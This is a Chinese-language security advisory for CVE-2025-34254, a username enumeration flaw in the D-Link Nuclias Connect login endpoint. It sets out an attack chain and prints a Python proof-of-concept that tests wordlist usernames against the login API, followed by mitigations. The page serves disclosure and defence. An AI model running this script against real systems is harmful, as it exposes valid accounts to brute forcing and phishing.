IPBUF安全漏洞报告
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CVE-2025-34254 CVSS 5.3 中危

CVE-2025-34254:D-Link Nuclias Connect登录接口账户枚举漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-34254
漏洞类型
账户枚举(用户名枚举)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
D-Link Nuclias Connect

相关标签

账户枚举用户名枚举D-LinkNuclias Connect信息泄露响应差异未认证CVE-2025-34254中危漏洞

漏洞概述

CVE-2025-34254是D-Link Nuclias Connect企业管理平台固件中存在的一个账户枚举漏洞。该漏洞影响固件版本小于等于1.3.1.4的所有D-Link Nuclias Connect设备。漏洞的根本原因在于应用程序的登录端点(Login endpoint)在处理用户认证请求时,会根据所提供的用户名是否关联到现有账户而返回不同的JSON响应。具体来说,当攻击者提交一个已存在的用户名时,登录接口返回的错误信息与提交不存在的用户名时返回的错误信息不同,错误消息字符串(error.message)的值存在差异。这种可观察的响应差异(Observable Response Discrepancy)使得未经认证的远程攻击者能够通过自动化手段批量枚举服务器上的有效用户名和账户信息。该漏洞的CVSS评分为5.3,属于中危级别。虽然该漏洞不会直接导致系统被入侵或数据被篡改,但它为后续的定向攻击(如暴力破解、密码喷洒、钓鱼攻击等)提供了重要的信息收集手段。攻击者可以利用枚举到的有效用户名列表,结合其他攻击手段(如弱密码猜测、社会工程学等)进一步渗透系统。D-Link官方已确认该漏洞,并表示修复方案正在开发中。

技术细节

该漏洞属于典型的可观察响应差异(Observable Response Discrepancy)漏洞,也称为用户名枚举漏洞。其技术原理如下:

1. 登录接口行为差异:D-Link Nuclias Connect的登录端点在处理认证请求时,会先检查提交的用户名是否存在于系统中。当用户名存在时,系统可能返回类似"密码错误"的错误消息(如"Invalid password");而当用户名不存在时,系统则返回类似"用户不存在"的错误消息(如"User does not exist"或"Invalid username")。

2. 响应差异利用:攻击者可以通过观察HTTP响应中JSON体的error.message字段值差异来判断目标用户名是否有效。例如,存在用户返回`{"error":{"message":"Invalid password"}}`,不存在用户返回`{"error":{"message":"User not found"}}`。

3. 枚举攻击流程:攻击者首先准备一个候选用户名列表(可通过信息泄露、社交工程等渠道获取),然后通过脚本自动化向登录端点发送大量认证请求,根据每次响应的差异筛选出有效账户。

4. 攻击条件:该漏洞无需任何认证即可利用(PR:N),无需用户交互(UI:N),可通过网络远程执行(AV:N),攻击复杂度低(AC:L),仅对机密性产生低影响(C:L),不影响完整性和可用性。

5. 后续利用:枚举到的有效账户列表可被用于密码暴力破解、凭据填充攻击(Credential Stuffing)或定向钓鱼攻击,大幅提升后续攻击的成功率。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过公开渠道或社会工程学手段获取目标组织的潜在用户名列表,如员工姓名、默认管理员账户等。
STEP 2
步骤2:探测登录端点
攻击者定位D-Link Nuclias Connect的登录API端点,分析其请求和响应格式,确认存在响应差异。
STEP 3
步骤3:批量枚举用户名
使用自动化脚本向登录端点发送大量认证请求,根据响应中error.message字段的差异区分有效用户和无效用户。
STEP 4
步骤4:结果验证
对枚举出的有效用户名进行二次验证,确保结果的准确性。
STEP 5
步骤5:后续攻击
利用枚举到的有效账户列表进行密码暴力破解、凭据填充攻击或定向钓鱼攻击,以获取系统访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-34254 - D-Link Nuclias Connect Account Enumeration PoC # This script demonstrates username enumeration via login endpoint response discrepancy import requests import sys import argparse TARGET_URL = "https://target-host/dashboard/api/login" # Adjust the login endpoint path def enumerate_usernames(target_url, username_file): """ Enumerate valid usernames by analyzing response differences in the login endpoint's error.message field. """ valid_users = [] with open(username_file, 'r') as f: usernames = [line.strip() for line in f if line.strip()] for username in usernames: # Construct login request payload payload = { "username": username, "password": "InvalidPassword123!@#" } try: response = requests.post( target_url, json=payload, verify=False, timeout=10 ) # Parse JSON response data = response.json() error_msg = data.get("error", {}).get("message", "") # Differentiate between existing and non-existing users # Existing user typically returns "Invalid password" or similar # Non-existing user returns "User not found" or similar if "password" in error_msg.lower() or "credential" in error_msg.lower(): print(f"[+] VALID USER FOUND: {username} -> {error_msg}") valid_users.append(username) elif "not found" in error_msg.lower() or "does not exist" in error_msg.lower(): print(f"[-] Invalid user: {username}") else: print(f"[?] Unknown response for {username}: {error_msg}") except requests.exceptions.RequestException as e: print(f"[!] Error requesting {username}: {e}") except ValueError: print(f"[!] Invalid JSON response for {username}") return valid_users if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-34254 PoC - D-Link Nuclias Connect Username Enumeration") parser.add_argument("-u", "--url", required=True, help="Target login URL") parser.add_argument("-f", "--file", required=True, help="Username wordlist file") args = parser.parse_args() print(f"[*] Starting enumeration against {args.url}") valid = enumerate_usernames(args.url, args.file) print(f"\n[*] Enumeration complete. Found {len(valid)} valid users: {valid}")

影响范围

D-Link Nuclias Connect <= 1.3.1.4

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在Web应用防火墙或反向代理层面配置规则,对登录端点的异常高频请求进行限速和阻断;2)通过自定义中间件统一登录接口的错误响应消息,确保无论用户名是否存在都返回相同的错误信息;3)启用账户锁定机制,在连续失败登录后临时锁定账户;4)部署入侵检测系统(IDS)监控异常的登录枚举行为;5)如非必要,将管理界面限制在内部网络或VPN访问范围内,避免暴露在公网上。

参考链接

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